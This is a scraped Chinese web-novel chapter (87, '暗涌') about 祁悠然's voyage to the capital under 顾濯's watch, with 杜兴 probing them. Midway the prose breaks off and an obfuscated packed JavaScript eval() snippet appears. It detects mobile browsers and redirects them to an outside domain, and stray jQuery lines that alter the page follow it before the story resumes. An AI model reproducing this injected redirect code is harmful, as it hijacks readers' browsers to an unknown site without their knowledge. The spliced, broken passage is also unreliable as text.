默认冷灰
24号文字
方正启体

87. 暗涌

作者:橘子数列本书字数:K更新时间:
    “白姑娘。”江烨看见来人,倒是微微一惊。


    “我想同你们谈谈。”白石直截了当。


    她走进来,并未客套,刚坐下,便落下一句惊雷:“小姐要去京城。”


    顾濯蹙眉。


    “我劝不了她,我也不会去劝她。但是我现在伤口没痊愈,跟着去会拖累她。”白石冷静地说着,语气平直。


    她抬眼,目光直直看向顾濯:“你能不能护好她?”


    顾濯沉默着,良久,才应下。


    “侯爷,要属下找人拦住祁小姐吗?”待白石离开,江烨才上前一步。


    顾濯摇头:“明天派人去一趟她原来的小院。将这件事告诉她们。”


    他垂下眼睫,遮住了眸中一瞬间翻涌而过的复杂情绪:“她……不能一个人去。”


    不然,他真的担心,以她那股执拗和决绝,会做出什么事情来。


    “是。”江烨不再多言,躬身退了出去,轻轻带上了房门。


    书房内重归寂静,只余烛火噼啪作响。


    顾濯身体向后靠进椅背,抬手捏了捏眉心,倦色似乎更浓了些。


    祁悠然,你为什么就不能自私一点呢?


    .


    渡口的风有些大,呼啸着掠过水面,卷起细碎的水沫,扑在人脸上,又湿又冷。


    杜兴眯起眼,看见祁悠然一步步走来,风拂起她素色的衣袂,身影在开阔的码头上显得格外单薄。


    他花白的眉梢微微挑起,眼中掠过惊讶,随即化为一种深沉的审视:“莺莺姑娘,倒是出乎老夫预料。”


    祁悠然神色平静,语气却异常决绝:“我答应同宋昱见一面。”


    她的目光清凌凌地直视着他:“还请国公爷撤下那些监视的人。不管是丁香巷还是山上的墓地,活着的还是去世的,她们都是我的家人,我不想旁人打扰她们。”


    杜兴看着她,片刻,他几不可察地点了一下头,算是同意了。


    顾濯一直静立着,没有随杜兴上船,反而默然上前,伸出手去,欲将一件厚实的披风围上祁悠然的肩头。


    却不料她身边的夏瑾抢先一步接过。


    祁悠然开口:“夏瑾,还给侯爷吧。”


    “你……”顾濯僵了僵,终是缓缓垂下手。


    风更疾了些,将她额际鬓边的发丝吹得愈加凌乱,几缕乌黑沾在白皙的面颊上。祁悠然的目光依旧望着茫茫的江面:“你没办法顾全所有。我也不想事事都麻烦你。”


    灰白的芦花在风里一蓬一蓬地摇,顾濯指节微微收紧,攥紧了那件衣物,连同一把无处着落的冷风。


    .


    水纹裂开又弥合,祁悠然站在甲板上,看着一片红叶顺流而下,在湍急的流水中载沉载浮,竟像是执拗地追着船行方向而来。水急,船也急,唯有两岸的青山慢慢转着。


    风雨是何时起的,她不记得了,先是疏疏落落地试探着,继而便放肆起来。


    船舱内,药气混着湿气,沉闷得令人呼吸不畅。夏瑾蜷在榻上,低声咳嗽着。她勉强抬起潮红的脸,眼中噙着泪水,声音带着自责:“小姐,都怪我,执意要跟来,如今,倒成了您的累赘……”


    当初祁悠然刚决定只身赴京,夏瑾和芸娘便匆匆寻来,眼中写满了不赞同与担忧。她终究拗不过,只得退让,允了夏瑾跟随,留下芸娘照看白石和小院。


    只是夏瑾一上船,便病倒了。


    祁悠然敛起心绪,坐在榻边,用温热的帕子拭去她额角的虚汗,声音温和:“别多想,先乖乖把药喝了。路还长着呢,总要快些好起来才行。”


    .


    这日,她刚端了盆温水欲替夏瑾擦脸,撩开舱帘,却蓦地撞见一个面生的婢女,正俯身凑近昏沉呓语的夏瑾,低声问询着什么。那姿态,绝非寻常的好心照料。


    祁悠然心下一凛,疾步上前,厉声喝道:“你在做什么?”


    情急之下,手中的铜盆“哐当”一声脱手砸落,温水泼溅开来,在舱板上蜿蜒横流,刺耳的声响惊动了外面的人。


    江烨很快闻声赶来,目光一扫舱内情形,神色微凝,并不多言,只挥手示意身后侍卫,便将那脸色骤变的婢女无声无息地带了下去。


    他转向祁悠然,语气是一贯的恭谨:“祁小姐受惊了。侯爷早有安排,此事定会处理妥当,您不必忧心。”


    随后,他另唤了两名低眉顺眼的侍女进来,迅速收拾起满地狼藉,动作麻利而安静。


    祁悠然沉默看着,一时怔忡,竟不知该如何自处,一种深切的无力感漫了上来。


    .


    船舱另一处。


    “任何人都有私心,晚辈亦不能免俗。但晚辈之私心,与世伯所求之公义,眼下并无冲突。”顾濯端坐着,背脊挺直。


    “所以,请世伯不要打扰她,和她身边的人。”顾濯的声音疏淡,却带着些强硬。


    今日那婢女之事,就是杜兴又一次不动声色的试探与施压。他心中的疑虑,从未真正打消。


    杜兴沉沉看着他:“你将此女置于掌心,珍之重之,仔细藏着掖着,可她呢?她似乎并不领情。”


    “这是晚辈的私事。”顾濯垂眼。


    言下之意,毋庸旁人置喙。


    杜兴见他这副油盐不进的冷硬模样,知晓再难撬开什么,只得冷哼一声,拂袖不再言语。


    .


    待杜兴离去,江烨方入内。顾濯仍维持着原先的坐姿,目光落在窗外浩渺的江水上,不知在想些什么。


    “大夫怎么说?”他开口。


    “夏瑾姑娘是感染了风寒,加之舟车劳顿,故而病得有些重。已经按方子煎了药,大夫说再服用几日,静心调养,便无大碍了。”江烨回禀。


    顾濯沉默片刻,指尖无意识地在桌沿轻轻敲击了一下:“她呢?”


    “祁小姐看着似乎无恙。”


    “让大夫也过去给她看看,她最近脸色不好。”顾濯顿了顿,像是斟酌了一下,“送些蜜饯果脯过去,问问她晚间歇息想吃些什么菜式,叫厨房仔细备着。再拿些安神的沉水香点上。”


    “是。”江烨垂首领命,却并未立即离开,迟疑一瞬后开口:“侯爷,江上风大,您可要添些衣裳?”


    顾濯垂眼:“不必。”


    .


    行


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343858|175983||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    船的日子,于顾濯而言,并非闲适的远游。京城经由驿站快马送来的公文,一叠紧跟着一叠,堆满案头,其间夹杂着亟待决断的紧急政务,令他时常伏案至深夜。


    这夜,他撂下朱笔,揉着发胀的眉心,窗外已是黑沉一片,唯有水声潺潺不绝。一阵莫名的踌躇掠过心头,他终是起身,推门而出,想去看看祁悠然那边是否安妥。


    却不想,她那间舱房的窗隙里,竟还透出昏黄的光晕。


    顾濯蹙眉在门外静立片刻,里头悄无声息,最终仍是抬手,指节叩响了门板。


    门开了,祁悠然站在门内,见是他,眼底掠过一丝复杂的神情,却也没说什么,侧身让他进来。


    窗外是沉沉的夜与水,偶尔有几点渔火,一眨眼,又灭了。


    小几上摊着本风俗志,书页却倒置着。


    “睡不着?”顾濯声音不自觉放低。


    “有些不适应。”祁悠然答得含糊。


    说话间倒了一杯茶递给他,脸色在灯下显得有些苍白,唇色也淡。


    顾濯起初只当她是晕船。这船行得确实有些颠簸,水拍打船板,发出一声声又闷又重的响。


    见她无意识地用指尖掐着掌心,眼下一片疲惫的青色,便试图宽慰:“不过是些风浪,颠些罢了。过了这一段水路,自然便平稳了。”


    “若是难受,舱里有薄荷油。”他补了一句。


    祁悠然没有应,只恹恹地摇了摇头。


    接茶盏时,顾濯指尖触到她的,却是冰得他一顿。


    他觉出些异样来。他熟知她的心性,绝非这般弱不禁风、畏惧舟船颠簸的人。


    船舱里只点着一盏灯,光晕昏黄,将她的侧脸线条勾勒得有些僵硬,睫毛垂下的阴影颤得厉害,可她面上却竭力维持着平静。


    顾濯蹙眉,他突然意识到,那不是身体不适的难受。


    她在……害怕。


    是了。她身上背负着太多过往与秘密,心事重峦叠嶂,偏偏贴身信赖的夏瑾又病倒了,她难免自责;白日里镇国公又是试探发难,步步紧逼。她再坚韧,也终究是一个人,如何能全然承受得住?


    窗外,水声依旧,船舱晃荡。


    他看见她脸侧的碎发被汗濡湿了,黏在白皙的皮肤上。从前她也是这样,每回受了委屈,便咬死了唇不吭声,只一段脖子梗着,带着一种沉默的倔强。


    顾濯沉默了片刻,终是起身,向她走近。身影笼罩下来时,她似乎受了一惊,猛地抬起头。


    他也就看清了她眼睛深处藏着的东西。


    顾濯并未再多问一句,只屈膝半蹲下来。这个姿势让他显得不再那么有压迫感。他取过她手里几乎要捏碎的茶盏,放在一旁。然后,用自己温热干燥的掌心,裹住了她那双冷得骇人的手。


    祁悠然僵了一下,似想挣,却被他按住。


    他没有挑破她的心事,反而将错就错,当作她是晕船而心神恍惚。


    “这船很稳,没事。”他的声音低沉,算不得多么温存体贴的安慰,甚至听着有些硬邦邦的。


    他喉结动了动,只笨拙地重复:“无碍的。我在这里。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)